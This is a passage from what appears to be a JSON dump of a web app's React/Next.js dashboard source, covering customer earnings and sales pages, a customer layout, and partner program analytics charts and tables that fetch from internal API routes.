divide-neutral-100\">\n          {NOTIFICATION_PREFERENCE_TYPES.map((type) => {\n            const { title, description, link } =\n              NOTIFICATION_PREFERENCE_LABELS[type];\n            const isEnabled = preferences[type];\n            const Icon = NOTIFICATION_ICONS[type];\n\n            return (\n              <div\n                key={type}\n                className=\"flex items-start justify-between gap-3 py-5 first:pt-0 sm:items-center sm:gap-4\"\n              >\n                <div className=\"flex min-w-0 items-start gap-3 sm:items-center sm:gap-4\">\n                  <a\n                    href={link}\n                    target=\"_blank\"\n                    className=\"flex shrink-0 items-center justify-center rounded-full border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2 transition-colors hover:border-neutral-300 hover:from-neutral-200 sm:p-2.5\"\n                  >\n                    <Icon className=\"size-4 sm:size-5\" />\n                  </a>\n                  <div className=\"min-w-0 flex-1 pr-2 sm:pr-4\">\n                    <div className=\"flex flex-wrap items-center gap-1.5 sm:gap-2\">\n                      <a href={link} target=\"_blank\">\n                        <h3 className=\"cursor-help text-sm font-medium text-neutral-900 underline decoration-dotted underline-offset-2 transition-colors hover:text-neutral-600\">\n                          {title}\n                        </h3>\n                      </a>\n                    </div>\n                    <p className=\"mt-0.5 text-xs text-neutral-500 sm:text-sm\">\n                      {description}\n                    </p>\n                  </div>\n                </div>\n                <Switch\n                  loading={loading}\n                  checked={isEnabled}\n                  disabled={saving}\n                  fn={handleToggle(type)}\n                />\n              </div>\n            );\n          })}\n        </div>\n      </div>\n      <div className=\"flex flex-col space-y-2 border-t border-neutral-200 bg-white px-4 py-6 sm:rounded-b-2xl sm:px-6 md:px-10\">\n        <Button\n          text={saving ? \"Saving...\" : \"Save Preferences\"}\n          onClick={handleSave}\n          loading={saving}\n          disabled={!isDirty || saving}\n          className=\"w-full\"\n        />\n\n        <button\n          type=\"button\"\n          onClick={handleUnsubscribeAll}\n          disabled={saving}\n          className=\"mt-2 w-full text-center text-xs text-neutral-400 transition-colors hover:text-neutral-600 disabled:cursor-not-allowed disabled:text-neutral-400\"\n        >\n          Unsubscribe from all emails\n        </button>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/customers/[customerId]/earnings/page-client.tsx",
    "content": "\"use client\";\n\nimport { CUSTOMER_PAGE_EVENTS_LIMIT } from \"@/lib/constants/misc\";\nimport useCustomer from \"@/lib/swr/use-customer\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CommissionResponse, CustomerEnriched } from \"@/lib/types\";\nimport { CustomerPartnerEarningsTable } from \"@/ui/customers/customer-partner-earnings-table\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { ArrowUpRight } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { redirect, useParams } from \"next/navigation\";\nimport { memo } from \"react\";\nimport useSWR from \"swr\";\n\nexport function CustomerEarningsPageClient() {\n  const { customerId } = useParams<{ customerId: string }>();\n\n  const { slug } = useWorkspace();\n  const { data: customer, isLoading } = useCustomer<CustomerEnriched>({\n    customerId,\n    query: { includeExpandedFields: true },\n  });\n\n  if (!customer && !isLoading) redirect(`/${slug}/customers`);\n\n  return !customer || (customer.partner && customer.programId) ? (\n    <section className=\"flex flex-col gap-4\">\n      <h2 className=\"text-lg font-semibold text-neutral-900\">\n        Partner earnings\n      </h2>\n      <div className=\"border-border-subtle flex flex-col overflow-hidden rounded-lg border\">\n        <Link\n          href={`/${slug}/program/partners/${customer?.partner?.id}`}\n          target=\"_blank\"\n          className=\"group flex items-center justify-between overflow-hidden bg-neutral-100 px-3 py-2.5\"\n        >\n          <div className=\"flex min-w-0 items-center gap-3\">\n            {customer?.partner ? (\n              <>\n                <PartnerAvatar partner={customer.partner} className=\"size-5\" />\n                <span className=\"block min-w-0 truncate text-sm font-medium text-neutral-900\">\n                  {customer.partner.name}\n                </span>\n              </>\n            ) : (\n              <>\n                <div className=\"size-5 animate-pulse rounded-full bg-neutral-200\" />\n                <div className=\"h-5 w-24 animate-pulse rounded bg-neutral-200\" />\n              </>\n            )}\n          </div>\n          <ArrowUpRight className=\"size-3 shrink-0 -translate-x-0.5 translate-y-0.5 opacity-0 transition-[transform,opacity] group-hover:translate-x-0 group-hover:translate-y-0 group-hover:opacity-100\" />\n        </Link>\n\n        <div className=\"border-border-subtle border-t\">\n          <PartnerEarningsTable customerId={customerId} />\n        </div>\n      </div>\n    </section>\n  ) : null;\n}\n\nconst PartnerEarningsTable = memo(({ customerId }: { customerId: string }) => {\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const { data: commissions, isLoading: isComissionsLoading } = useSWR<\n    CommissionResponse[]\n  >(\n    `/api/commissions?${new URLSearchParams({\n      customerId,\n      workspaceId: workspaceId!,\n      pageSize: CUSTOMER_PAGE_EVENTS_LIMIT.toString(),\n    })}`,\n    fetcher,\n  );\n\n  const { data: totalCommissions, isLoading: isTotalCommissionsLoading } =\n    useSWR<{ all: { count: number } }>(\n      // Only fetch total earnings count if the earnings data is equal to the limit\n      commissions?.length === CUSTOMER_PAGE_EVENTS_LIMIT &&\n        `/api/commissions/count?${new URLSearchParams({\n          customerId,\n          workspaceId: workspaceId!,\n        })}`,\n      fetcher,\n    );\n\n  return (\n    <CustomerPartnerEarningsTable\n      commissions={commissions}\n      totalCommissions={\n        isTotalCommissionsLoading\n          ? undefined\n          : totalCommissions?.all?.count ?? commissions?.length\n      }\n      viewAllHref={`/${slug}/program/commissions?customerId=${customerId}`}\n      isLoading={isComissionsLoading}\n    />\n  );\n});\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/customers/[customerId]/earnings/page.tsx",
    "content": "import { CustomerEarningsPageClient } from \"./page-client\";\n\nexport default function CustomerEarningsPage() {\n  return <CustomerEarningsPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/customers/[customerId]/layout.tsx",
    "content": "\"use client\";\n\nimport useCustomer from \"@/lib/swr/use-customer\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CustomerActivityResponse, CustomerEnriched } from \"@/lib/types\";\nimport { CustomerActivityList } from \"@/ui/customers/customer-activity-list\";\nimport { CustomerDetailsColumn } from \"@/ui/customers/customer-details-column\";\nimport { CustomerSelector } from \"@/ui/customers/customer-selector\";\nimport { CustomerStats } from \"@/ui/customers/customer-stats\";\nimport { CustomerTabs } from \"@/ui/customers/customer-tabs\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { Button } from \"@dub/ui\";\nimport { ChevronRight, Users } from \"@dub/ui/icons\";\nimport { fetcher } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport {\n  redirect,\n  useParams,\n  usePathname,\n  useRouter,\n  useSearchParams,\n} from \"next/navigation\";\nimport { ReactNode } from \"react\";\nimport useSWR from \"swr\";\n\nexport default function CustomerLayout({ children }: { children: ReactNode }) {\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n  const { customerId } = useParams<{ customerId: string }>();\n  const router = useRouter();\n  const pathname = usePathname();\n  const searchParams = useSearchParams();\n\n  const { data: customer, error: customerError } =\n    useCustomer<CustomerEnriched>({\n      customerId,\n      query: { includeExpandedFields: true },\n    });\n\n  const { data: customerActivity, isLoading: isCustomerActivityLoading } =\n    useSWR<CustomerActivityResponse>(\n      customer &&\n        `/api/customers/${customer.id}/activity?workspaceId=${workspaceId}`,\n      fetcher,\n    );\n\n  if (customerError && customerError.status === 404)\n    redirect(`/${workspaceSlug}/customers`);\n\n  const switchToCustomer = (newCustomerId: string) => {\n    if (customerId === newCustomerId) return;\n    const url = `${pathname.replace(`/customers/${customerId}`, `/customers/${newCustomerId}`)}?${searchParams.toString()}`;\n    router.push(url);\n  };\n\n  return (\n    <PageContent\n      title={\n        <div className=\"flex items-center gap-1.5\">\n          <Link\n            href={`/${workspaceSlug}/customers`}\n            aria-label=\"Back to customers\"\n            title=\"Back to customers\"\n            className=\"bg-bg-subtle hover:bg-bg-emphasis flex size-8 shrink-0 items-center justify-center rounded-lg transition-[transform,background-color] duration-150 active:scale-95\"\n          >\n            <Users className=\"size-4\" />\n          </Link>\n          <ChevronRight className=\"text-content-muted size-2.5 shrink-0 [&_*]:stroke-2\" />\n          <CustomerSelector\n            variant=\"header\"\n            selectedCustomerId={customer?.id ?? null}\n            setSelectedCustomerId={switchToCustomer}\n          />\n        </div>\n      }\n    >\n      <PageWidthWrapper className=\"pb-10\">\n        <CustomerStats customer={customer} />\n\n        <div className=\"@3xl/page:grid-cols-[minmax(440px,1fr)_minmax(0,360px)] mt-6 grid grid-cols-1 gap-6\">\n          <div className=\"@3xl/page:order-2\">\n            <CustomerDetailsColumn\n              customer={customer}\n              customerActivity={customerActivity}\n              isCustomerActivityLoading={!customer || isCustomerActivityLoading}\n              workspaceSlug={workspaceSlug}\n            />\n          </div>\n          <div className=\"@3xl/page:order-1\">\n            <div className=\"border-border-subtle overflow-hidden rounded-xl border bg-neutral-100\">\n              <CustomerTabs customer={customer} />\n              <div className=\"border-border-subtle -mx-px -mb-px rounded-xl border bg-white p-4\">\n                {children}\n              </div>\n            </div>\n\n            <section className=\"mt-3 flex flex-col px-4\">\n              <div className=\"flex items-center justify-between\">\n                <h2 className=\"py-3 text-lg font-semibold text-neutral-900\">\n                  Activity\n                </h2>\n                <Link\n                  href={`/${workspaceSlug}/events?interval=all&customerId=${customerId}`}\n                >\n                  <Button\n                    variant=\"secondary\"\n                    text=\"View all\"\n                    className=\"h-7 px-2\"\n                  />\n                </Link>\n              </div>\n              <CustomerActivityList\n                activity={customerActivity}\n                isLoading={!customer || isCustomerActivityLoading}\n              />\n            </section>\n          </div>\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/customers/[customerId]/sales/page-client.tsx",
    "content": "\"use client\";\n\nimport { CUSTOMER_PAGE_EVENTS_LIMIT } from \"@/lib/constants/misc\";\nimport useCustomer from \"@/lib/swr/use-customer\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CustomerEnriched, SaleEvent } from \"@/lib/types\";\nimport { CustomerSalesTable } from \"@/ui/customers/customer-sales-table\";\nimport { fetcher } from \"@dub/utils\";\nimport { redirect, useParams } from \"next/navigation\";\nimport { memo } from \"react\";\nimport useSWR from \"swr\";\n\nexport function CustomerSalesPageClient() {\n  const { customerId } = useParams<{ customerId: string }>();\n\n  const { slug } = useWorkspace();\n  const { data: customer, isLoading } = useCustomer<CustomerEnriched>({\n    customerId,\n    query: { includeExpandedFields: true },\n  });\n\n  if (!customer && !isLoading) redirect(`/${slug}/customers`);\n\n  return (\n    <section className=\"flex flex-col gap-4\">\n      <h2 className=\"text-lg font-semibold text-neutral-900\">Sales</h2>\n      <div className=\"border-border-subtle overflow-hidden rounded-lg border\">\n        <SalesTable customerId={customerId} />\n      </div>\n    </section>\n  );\n}\n\nconst SalesTable = memo(({ customerId }: { customerId: string }) => {\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const { data: salesData, isLoading: isSalesLoading } = useSWR<SaleEvent[]>(\n    `/api/events?event=sales&interval=all&limit=${CUSTOMER_PAGE_EVENTS_LIMIT}&customerId=${customerId}&workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { data: totalSales, isLoading: isTotalSalesLoading } = useSWR<{\n    sales: number;\n  }>(\n    // Only fetch total sales count if the sales data is equal to the limit\n    salesData?.length === CUSTOMER_PAGE_EVENTS_LIMIT &&\n      `/api/analytics?event=sales&interval=all&groupBy=count&customerId=${customerId}&workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return (\n    <CustomerSalesTable\n      sales={salesData}\n      totalSales={\n        isTotalSalesLoading ? undefined : totalSales?.sales ?? salesData?.length\n      }\n      viewAllHref={`/${slug}/events?event=sales&interval=all&customerId=${customerId}`}\n      isLoading={isSalesLoading}\n    />\n  );\n});\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/customers/[customerId]/sales/page.tsx",
    "content": "import { CustomerSalesPageClient } from \"./page-client\";\n\nexport default function CustomerSalesPage() {\n  return <CustomerSalesPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/customers/page-client.tsx",
    "content": "import { CustomersTable } from \"@/ui/customers/customers-table/customers-table\";\n\nexport function CustomersPageClient() {\n  return <CustomersTable />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/customers/page.tsx",
    "content": "import { ExportCustomersButton } from \"@/ui/customers/export-customers-button\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { CustomersPageClient } from \"./page-client\";\n\nexport default function CustomersPage() {\n  return (\n    <PageContent\n      title=\"Customers\"\n      titleInfo={{\n        title:\n          \"Get deeper, real-time insights about your customers' demographics, purchasing behavior, and lifetime value (LTV).\",\n        href: \"https://dub.co/help/article/customer-insights\",\n      }}\n      controls={<ExportCustomersButton />}\n    >\n      <PageWidthWrapper>\n        <CustomersPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/events/page.tsx",
    "content": "import Events from \"@/ui/analytics/events\";\nimport { EventsProvider } from \"@/ui/analytics/events/events-provider\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { Suspense } from \"react\";\nimport AnalyticsClient from \"../../analytics/client\";\n\nexport default function WorkspaceAnalyticsEvents() {\n  return (\n    <Suspense fallback={<LayoutLoader />}>\n      <PageContent title=\"Events\">\n        <AnalyticsClient eventsPage>\n          <EventsProvider>\n            <Events />\n          </EventsProvider>\n        </AnalyticsClient>\n      </PageContent>\n    </Suspense>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/analytics/analytics-chart.tsx",
    "content": "import { editQueryString } from \"@/lib/analytics/utils\";\nimport { AnalyticsFunnelChart } from \"@/ui/analytics/analytics-funnel-chart\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport { AnalyticsTabs } from \"@/ui/analytics/analytics-tabs\";\nimport { ChartViewSwitcher } from \"@/ui/analytics/chart-view-switcher\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { LoadingSpinner } from \"@dub/ui/icons\";\nimport { fetcher } from \"@dub/utils\";\nimport { useContext, useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { AnalyticsTimeseriesChart } from \"./analytics-timeseries-chart\";\n\nexport function AnalyticsChart() {\n  const { queryParams } = useRouterStuff();\n\n  const { selectedTab, saleUnit, view, totalEvents, queryString } =\n    useContext(AnalyticsContext);\n\n  const { data, error } = useSWR<\n    {\n      start: Date;\n      clicks: number;\n      leads: number;\n      sales: number;\n      saleAmount: number;\n    }[]\n  >(\n    `/api/analytics?${editQueryString(queryString ?? \"\", {\n      event: selectedTab,\n      groupBy: \"timeseries\",\n    })}`,\n    fetcher,\n  );\n\n  const chartData = useMemo(\n    () =>\n      data?.map((d) => ({\n        date: new Date(d.start),\n        values: {\n          amount:\n            selectedTab === \"sales\" && saleUnit === \"saleAmount\"\n              ? d.saleAmount\n              : d[selectedTab],\n        },\n      })),\n    [data, selectedTab, saleUnit],\n  );\n\n  const dataLoading = !chartData && !error;\n\n  return (\n    <div>\n      <div className=\"border-b border-neutral-200\">\n        <AnalyticsTabs\n          showConversions={true}\n          totalEvents={totalEvents}\n          tab={selectedTab}\n          tabHref={(id) =>\n            queryParams({\n              set: {\n                event: id,\n              },\n              getNewPath: true,\n            }) as string\n          }\n          saleUnit={saleUnit}\n          setSaleUnit={(option) =>\n            queryParams({\n              set: { saleUnit: option },\n            })\n          }\n        />\n      </div>\n      <div className=\"relative h-72 md:h-96\">\n        {dataLoading ? (\n          <div className=\"flex size-full items-center justify-center\">\n            <LoadingSpinner />\n          </div>\n        ) : error ? (\n          <div className=\"flex size-full items-center justify-center text-sm text-neutral-500\">\n            Failed to load data\n          </div>\n        ) : (\n          <>\n            {view === \"timeseries\" ? (\n              <div className=\"relative size-full p-6 pt-10\">\n                <AnalyticsTimeseriesChart data={chartData} />\n              </div>\n            ) : (\n              <AnalyticsFunnelChart />\n            )}\n            <ChartViewSwitcher className=\"absolute right-3 top-3\" />\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/analytics/analytics-partners-table.tsx",
    "content": "\"use client\";\n\nimport { AnalyticsResponse } from \"@/lib/analytics/types\";\nimport { editQueryString } from \"@/lib/analytics/utils\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport {\n  Button,\n  Table,\n  useKeyboardShortcut,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport {\n  capitalize,\n  cn,\n  COUNTRIES,\n  currencyFormatter,\n  fetcher,\n  nFormatter,\n} from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useCallback, useContext, useMemo, useState } from \"react\";\nimport useSWR from \"swr\";\nimport { PartnerAnalyticsFilterCell } from \"./partner-analytics-filter-cell\";\n\nexport function AnalyticsPartnersTable() {\n  const { selectedTab, queryString } = useContext(AnalyticsContext);\n  const { queryParams, searchParams } = useRouterStuff();\n\n  const [stagedPartnerIds, setStagedPartnerIds] = useState<string[] | null>(\n    null,\n  );\n\n  const { pagination, setPagination } = usePagination(10);\n\n  const activePartnerIdsFromUrl = useMemo(\n    () => searchParams.get(\"partnerId\")?.split(\",\").filter(Boolean) ?? [],\n    [searchParams],\n  );\n\n  const isFilterActive = searchParams.has(\"partnerId\");\n\n  const toggleStagePartner = useCallback(\n    (partnerId: string) => {\n      setStagedPartnerIds((prev) => {\n        const base = prev ?? activePartnerIdsFromUrl;\n        const next = base.includes(partnerId)\n          ? base.filter((id) => id !== partnerId)\n          : [...base, partnerId];\n        return next.length === 0 ? null : next;\n      });\n    },\n    [activePartnerIdsFromUrl],\n  );\n\n  const applyFilter = useCallback(() => {\n    if (!stagedPartnerIds || stagedPartnerIds.length === 0) return;\n    queryParams({\n      set: { partnerId: stagedPartnerIds.join(\",\") },\n      del: \"page\",\n    });\n    setStagedPartnerIds(null);\n  }, [queryParams, stagedPartnerIds]);\n\n  const clearFilter = useCallback(() => {\n    setStagedPartnerIds(null);\n    if (searchParams.has(\"partnerId\")) {\n      queryParams({ del: [\"partnerId\", \"page\"] });\n    }\n  }, [queryParams, searchParams]);\n\n  useKeyboardShortcut(\"Escape\", () => setStagedPartnerIds(null), {\n    enabled: stagedPartnerIds !== null,\n    priority: 2,\n  });\n\n  const {\n    data: topPartners,\n    error: topPartnersError,\n    isLoading: topPartnersLoading,\n  } = useSWR<AnalyticsResponse[\"top_partners\"][]>(\n    `/api/analytics?${editQueryString(queryString, {\n      event: selectedTab,\n      groupBy: \"top_partners\",\n    })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const topPartnersList = useMemo(() => {\n    return topPartners?.slice(\n      (pagination.pageIndex - 1) * pagination.pageSize,\n      pagination.pageIndex * pagination.pageSize,\n    );\n  }, [topPartners, pagination]);\n\n  const { table, ...tableProps } = useTable({\n    data: topPartnersList || [],\n    columns: [\n      {\n        id: \"partner\",\n        header: \"Partner\",\n        enableHiding: false,\n        minSize: 250,\n        cell: ({ row }) => {\n          const p = row.original.partner;\n          const partnerId = row.original.partnerId;\n          return (\n            <PartnerAnalyticsFilterCell\n              partner={p}\n              partnerId={partnerId}\n              isStaged={stagedPartnerIds?.includes(partnerId) ?? false}\n              isApplied={activePartnerIdsFromUrl.includes(partnerId)}\n              onToggle={() => toggleStagePartner(partnerId)}\n            />\n          );\n        },\n      },\n      {\n        id: \"location\",\n        header: \"Location\",\n        minSize: 150,\n        cell: ({ row }) => {\n          const country = row.original.partner.country;\n          return (\n            <div className=\"flex items-center gap-2\">\n              {country && (\n                <img\n                  alt={`${country} flag`}\n                  src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                  className=\"size-4 shrink-0\"\n                />\n              )}\n              <span className=\"min-w-0 truncate\">\n                {(country ? COUNTRIES[country] : null) ?? \"-\"}\n              </span>\n            </div>\n          );\n        },\n      },\n      ...(selectedTab === \"sales\"\n        ? [\n            {\n              id: \"sales\",\n              header: \"Sales\",\n              accessorFn: (d: AnalyticsResponse[\"top_partners\"]) =>\n                nFormatter(d.sales),\n            },\n            {\n              id: \"saleAmount\",\n              header: \"Revenue\",\n              accessorFn: (d: AnalyticsResponse[\"top_partners\"]) =>\n                currencyFormatter(d.saleAmount),\n            },\n          ]\n        : [\n            {\n              id: selectedTab,\n              header: `${capitalize(selectedTab)}`,\n              accessorFn: (d: AnalyticsResponse[\"top_partners\"]) =>\n                nFormatter(d[selectedTab]),\n            },\n          ]),\n    ],\n    pagination,\n    onPaginationChange: setPagination,\n    sortableColumns: [\"clicks\", \"leads\", \"saleAmount\"],\n    sortBy: selectedTab === \"sales\" ? \"saleAmount\" : selectedTab,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `partner${p ? \"s\" : \"\"}`,\n    rowCount: topPartners?.length ?? 0,\n    loading: topPartnersLoading,\n    error: topPartnersError ? \"Failed to load partners\" : undefined,\n  });\n\n  const showFloatingBar = stagedPartnerIds !== null || isFilterActive;\n\n  return !topPartnersList ? (\n    <PartnerTableSkeleton />\n  ) : topPartnersList.length > 0 ? (\n    <div\n      className={cn(\"relative\", topPartnersLoading && \"pointer-events-none\")}\n    >\n      <Table\n        {...tableProps}\n        table={table}\n        containerClassName=\"border-none\"\n        scrollWrapperClassName=\"min-h-[200px]\"\n      >\n        <AnimatePresence>\n          {showFloatingBar && (\n            <motion.div\n              initial={{ opacity: 0, y: 8 }}\n              animate={{ opacity: 1, y: 0 }}\n              exit={{ opacity: 0, y: 8 }}\n              transition={{ ease: \"easeOut\", duration: 0.15 }}\n              className=\"absolute bottom-0 left-0 z-20 flex h-16 w-full items-end bg-gradient-to-t from-white to-white/0\"\n            >\n              <div className=\"flex w-full items-center justify-center gap-2 pb-2.5\">\n                {stagedPartnerIds !== null && stagedPartnerIds.length > 0 && (\n                  <Button\n                    text=\"Filter\"\n                    variant=\"primary\"\n                    className=\"h-8 w-fit rounded-lg px-3 py-2\"\n                    onClick={applyFilter}\n                  />\n                )}\n                <Button\n                  text=\"Clear\"\n                  variant=\"secondary\"\n                  className=\"h-8 w-fit rounded-lg px-3 py-2\"\n                  onClick={clearFilter}\n                />\n              </div>\n            </motion.div>\n          )}\n        </AnimatePresence>\n      </Table>\n    </div>\n  ) : (\n    <div className=\"text-content-muted flex h-36 items-center justify-center text-sm\">\n      {topPartnersError ? \"Failed to load partners.\" : \"No partners found.\"}\n    </div>\n  );\n}\n\nfunction PartnerTableSkeleton() {\n  const { selectedTab } = useContext(AnalyticsContext);\n  return (\n    <div className=\"bg-bg-default relative overflow-x-auto rounded-xl\">\n      <table className=\"group/table w-full border-separate border-spacing-0 text-sm transition-[border-spacing,margin-top] [&_tr:last-child>td]:border-b-transparent [&_tr>*:first-child]:border-l-transparent [&_tr>*:last-child]:border-r-transparent [&_tr]:border-b\">\n        <thead>\n          <tr>\n            <th className=\"border-border-subtle border-b border-l-0 px-4 py-2.5 text-left font-medium text-neutral-900\">\n              Partner\n            </th>\n            <th className=\"border-border-subtle border-b border-l-0 px-4 py-2.5 text-left font-medium text-neutral-900\">\n              Location\n            </th>\n            <th className=\"border-border-subtle border-b border-l-0 px-4 py-2.5 text-left font-medium text-neutral-900\">\n              {capitalize(selectedTab)}\n            </th>\n            {selectedTab === \"sales\" && (\n              <>\n                <th className=\"border-border-subtle border-b border-l-0 px-4 py-2.5 text-left font-medium text-neutral-900\">\n                  Revenue\n                </th>\n              </>\n            )}\n          </tr>\n        </thead>\n        <tbody>\n          {[...Array(10)].map((_, idx) => (\n            <tr key={idx} className=\"group/row\">\n              <td className=\"border-border-subtle border-b border-l-0 px-4 py-2.5\">\n                <div className=\"flex items-center gap-2.5\">\n                  <div className=\"size-6 animate-pulse rounded-full bg-neutral-200\" />\n                  <div className=\"h-4 w-32 animate-pulse rounded bg-neutral-200\" />\n                </div>\n              </td>\n              <td className=\"border-border-subtle border-b border-l-0 px-4 py-2.5\">\n                <div className=\"h-4 w-20 animate-pulse rounded bg-neutral-200\" />\n              </td>\n              <td className=\"border-border-subtle border-b border-l-0 px-4 py-2.5\">\n                <div className=\"h-4 w-20 animate-pulse rounded bg-neutral-200\" />\n              </td>\n              {selectedTab === \"sales\" && (\n                <td className=\"border-border-subtle border-b border-l-0 px-4 py-2.5\">\n                  <div className=\"h-4 w-20 animate-pulse rounded bg-neutral-200\" />\n                </td>\n              )}\n            </tr>\n          ))}\n        </tbody>\n      </table>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/analytics/analytics-timeseries-chart.tsx",
    "content": "import { formatDateTooltip } from \"@/lib/analytics/format-date-tooltip\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport {\n  Areas,\n  ChartContext,\n  TimeSeriesChart,\n  XAxis,\n  YAxis,\n} from \"@dub/ui/charts\";\nimport { capitalize, currencyFormatter, nFormatter } from \"@dub/utils\";\nimport { LinearGradient } from \"@visx/gradient\";\nimport { useContext, useId } from \"react\";\n\nexport function AnalyticsTimeseriesChart({\n  data,\n}: {\n  data?: {\n    date: Date;\n    values: {\n      amount: number;\n    };\n  }[];\n}) {\n  const id = useId();\n\n  const { start, end, interval, selectedTab, saleUnit } =\n    useContext(AnalyticsContext);\n\n  return (\n    <TimeSeriesChart\n      key={`${start?.toString()}-${end?.toString()}-${interval ?? \"\"}-${selectedTab}-${saleUnit}`}\n      data={data || []}\n      series={[\n        {\n          id: \"amount\",\n          valueAccessor: (d) => d.values.amount,\n          colorClassName: \"text-violet-500\",\n          isActive: true,\n        },\n      ]}\n      tooltipClassName=\"p-0\"\n      tooltipContent={(d) => {\n        return (\n          <>\n            <p className=\"border-b border-neutral-200 px-4 py-3 text-sm text-neutral-900\">\n              {formatDateTooltip(d.date, { interval, start, end })}\n            </p>\n            <div className=\"grid grid-cols-2 gap-x-6 gap-y-2 px-4 py-3 text-sm\">\n              <div className=\"flex items-center gap-2\">\n                <div className=\"h-2 w-2 rounded-sm bg-violet-500 shadow-[inset_0_0_0_1px_#0003]\" />\n                <p className=\"capitalize text-neutral-600\">\n                  {capitalize(selectedTab)}\n                </p>\n              </div>\n              <p className=\"text-right font-medium text-neutral-900\">\n                {selectedTab === \"sales\" && saleUnit === \"saleAmount\"\n                  ? currencyFormatter(d.values.amount)\n                  : nFormatter(d.values.amount, { full: true })}\n              </p>\n            </div>\n          </>\n        );\n      }}\n    >\n      <ChartContext.Consumer>\n        {(context) => (\n          <LinearGradient\n            id={`${id}-color-gradient`}\n            from=\"#7D3AEC\"\n            to=\"#DA2778\"\n            x1={0}\n            x2={context?.width ?? 1}\n            gradientUnits=\"userSpaceOnUse\"\n          />\n        )}\n      </ChartContext.Consumer>\n      <XAxis\n        tickFormat={(date) => formatDateTooltip(date, { interval, start, end })}\n        maxTicks={2}\n      />\n      <YAxis\n        showGridLines\n        tickFormat={\n          selectedTab === \"sales\" && saleUnit === \"saleAmount\"\n            ? currencyFormatter\n            : nFormatter\n        }\n      />\n      <Areas />\n    </TimeSeriesChart>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/analytics/page-client.tsx",
    "content": "\"use client\";\n\nimport { DUB_PARTNERS_ANALYTICS_INTERVAL } from \"@/lib/analytics/constants\";\nimport { AnalyticsResponseOptions } from \"@/lib/analytics/types\";\nimport { editQueryString } from \"@/lib/analytics/utils\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport { DeviceSection } from \"@/ui/analytics/device-section\";\nimport { LocationSection } from \"@/ui/analytics/location-section\";\nimport { PartnerSection } from \"@/ui/analytics/partner-section\";\nimport { ReferrersUTMs } from \"@/ui/analytics/referrers-utms\";\nimport { useAnalyticsFilters } from \"@/ui/analytics/use-analytics-filters\";\nimport { useAnalyticsQuery } from \"@/ui/analytics/use-analytics-query\";\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport {\n  Button,\n  Filter,\n  SquareLayoutGrid6,\n  useMediaQuery,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn, fetcher } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { ContextType, useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { AnalyticsChart } from \"./analytics-chart\";\nimport { AnalyticsPartnersTable } from \"./analytics-partners-table\";\n\nexport function ProgramAnalyticsPageClient() {\n  const { slug, defaultProgramId } = useWorkspace();\n  const { program } = useProgram();\n  const { searchParamsObj, getQueryString } = useRouterStuff();\n  const { isMobile } = useMediaQuery();\n\n  const { start, end, interval, selectedTab, saleUnit, view } = useMemo(() => {\n    const { event, ...rest } = searchParamsObj;\n\n    return {\n      interval: DUB_PARTNERS_ANALYTICS_INTERVAL,\n      selectedTab:\n        event || (program?.primaryRewardEvent === \"lead\" ? 